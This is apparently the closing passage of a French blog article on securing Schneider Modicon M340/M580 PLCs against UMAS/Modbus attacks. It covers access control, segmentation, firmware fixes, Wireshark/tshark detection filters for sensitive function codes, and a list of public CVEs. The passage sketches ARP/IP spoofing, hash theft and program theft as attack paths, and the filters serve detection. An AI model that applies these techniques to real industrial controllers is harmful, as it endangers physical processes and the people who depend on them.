  • Access Control (whitelist d’IP) : restreindre qui a le droit de parler au 502. Control Expert offre, nativement sur le port du CPU, une table d’Access Control : tu autorises une IP ou un sous-réseau par service (colonnes FTP, TFTP, HTTP, Port502 (Modbus), EIP, SNMP). Mon PC d’attaque hors liste, et le CPU refuse la connexion TCP au 502, pas de réservation possible. Le préréglage « Enforce Security » l’active d’un coup (et coupe FTP/TFTP/HTTP/SNMP/EIP, active la protection mémoire, le logging…). ⚠️ Deux limites à assumer. L’ACL filtre par IP source, et sur un segment plat (un réseau OT tel qu’on en voit souvent : tout le monde sur le même sous-réseau, sans VLAN ni pare-feu entre les machines), rien n’empêche un attaquant déjà présent d’usurper l’IP de la station d’ingénierie autorisée : il forge l’IP source de ses paquets, et via de l’ARP spoofing il détourne aussi les réponses vers lui. Le filtre par IP tombe. Et de toute façon, l’ACL n’empêche pas le sniff.
  • Segmente : le 502 ne doit causer qu’avec la station d’ingénierie légitime, sur un réseau OT isolé de l’IT. Pas de route vers le 502 = UMAS n’existe pas pour toi. Le nom de PC, lui, n’est pas un filtre.
  • Active la protection applicative et mets à jour le firmware (fix ModiPwn : M340 v3.50, M580 SV4.10 ; les rebonds pass-the-hash de 2024 sont bouchés depuis SV3.70 / Control Expert V16.2 HF003). Un automate pleinement à jour n’est toujours pas inviolable (l’auth reste un hash rejouable calculé côté client), mais ça élimine les bypass triviaux et force l’attaquant à vraiment bosser, voire à se rabattre sur un crack offline. Côté pratique, la mise à jour passe désormais par EADM (qui a remplacé Unity Loader pour les firmwares v4.x sécurisés), avec un chemin en deux temps v3.x -> v3.99 -> v4.x. Et un piège matériel qui illustre pile le problème. Schneider a fait un refresh visible du CPU : les M580 « blancs » sont l’ancienne génération (livrée en v2.x/v3.x), les « gris » la nouvelle (nativement en v4 sécurisée, avec un boot loader renforcé). Un blanc peut souvent se migrer vers la v4 par le chemin en deux temps, sauf les tout premiers (product version ≤ 3, à lire sur l’étiquette) qui n’ont pas le bon boot loader matériel : les forcer en v4 détruit le CPU, et ils restent plafonnés à la dernière v3.x. Et côté certification, le M580 ePAC et le module BMENOC302 ont obtenu la CSPN de l’ANSSI (juin 2026).
  • Coupe ce qui ne sert pas : FTP datastorage, serveur web, SNMP… autant de portes (et de mots de passe par défaut) en moins. « Enforce Security » le fait pour toi.
  • Surveille l’UMAS : les fonctions sensibles (0x10 réservation, 0x40/41 start/stop, 0x71 forçage, 0x30-35 transfert, et un 0x20 sur le bloc 0x14 = tentative de vol de hash) sont à offset fixe, détectables en IDS.
  • Protège tes captures : un pcap d’un transfert 0x34, c’est le programme en clair et le matériel d’auth base64. Traite-le comme un secret.

Côté détection, repérer tout le trafic UMAS tient en un filtre (le function code Modbus 90 = 0x5A) :

tshark -r capture.pcapng -Y 'modbus.func_code == 90'

Et pour cibler une fonction précise plutôt que tout l’UMAS, on filtre sur l’octet de fonction (juste après l’octet de session) : modbus.func_code == 90 && modbus.data[1:1] == 0x10 isole la réservation (mets 0x71 pour un forçage, 0x41 pour un STOP, 0x34 pour un vol de programme). Attention à bien écrire le 0x, sinon Wireshark lit le nombre en décimal. Ces fonctions chaudes sont à offset fixe, donc repérables aussi côté IDS.

Pour aller plus loin, les CVE qui vont bien : CVE-2018-7842 (brute-force de la réservation), CVE-2022-45789 (rejeu/détournement de session, suite d’OT:ICEFALL chez Forescout), CVE-2021-22779 ModiPwn (contournement de l’auth applicative via le bloc 0x14), CVE-2022-45788 OT:ICEFALL (exécution de code), CVE-2018-7845 (lecture mémoire non authentifiée) et CVE-2019-6806 (fuite de chaînes SNMP).

Et pour renverser complètement le rapport de force : la recherche Evil PLC (Team82 / Claroty, août 2022) a montré qu’on peut aussi piéger l’automate pour qu’il attaque en retour le poste d’ingénierie qui s’y connecte : l’automate n’est plus la proie mais le « prédateur ». Chez Schneider (le M580 fait partie des cas du white paper), ça passe par un heap overflow dans la décompression XML de Control Expert : CVE-2022-26507, CVSS 9.8, avis CISA ICSA-22-223-03.

Conclusion

La morale ? L’OT, c’est un monde où la sécurité reposait sur « le réseau est isolé ». Sauf qu’il l’est de moins en moins.

Si ça t’as donné un peu envie de mettre les mains dedans, en tout cas côté Modbus, je te recommande le prolab de HTB Alchemy !

Si t’as kiffé, n’hésite pas à m’en parler sur discord !

La sécurité OT en 2026, en une image


Avertissement

Cet article relève de la recherche et développement en cybersécurité industrielle, menée dans le cadre de mes activités de pentest pour des clients autorisés, et réalisée sur mon propre matériel de laboratoire, en réseau isolé et sans aucune cible tierce. Sa visée est pédagogique et défensive : comprendre ces protocoles, c’est pouvoir les protéger.

Toutes les vulnérabilités évoquées sont publiques et documentées, et l’éditeur ou le constructeur a publié les correctifs correspondants (chaque point renvoie à sa référence CVE, à l’avis CISA ou à l’avis éditeur) ; leur déploiement relève de l’exploitant de l’installation. Rien ici n’est une faille inédite ni un contournement de correctif.

Les analyses présentées correspondent à l’état des connaissances et de la documentation publique à la date de rédaction. Elles ne préjugent pas de l’état actuel des produits concernés, lesquels peuvent avoir évolué depuis la publication des correctifs mentionnés.

Cet article n’a en aucun cas vocation à inciter à reproduire ces techniques à des fins malveillantes. Accéder à un système d’information ou en entraver le fonctionnement sans autorisation est illégal (en France, art. 323-1 et suivants du Code pénal). N’intervenez que sur des équipements qui vous appartiennent ou pour lesquels vous disposez d’une autorisation écrite.

Les marques citées (Schneider Electric, Modicon, EcoStruxure, Modbus, etc.) appartiennent à leurs détenteurs respectifs et ne sont mentionnées qu’à des fins d’identification technique ; cet article est indépendant et n’implique aucune affiliation, aucun partenariat ni aucune approbation de leur part.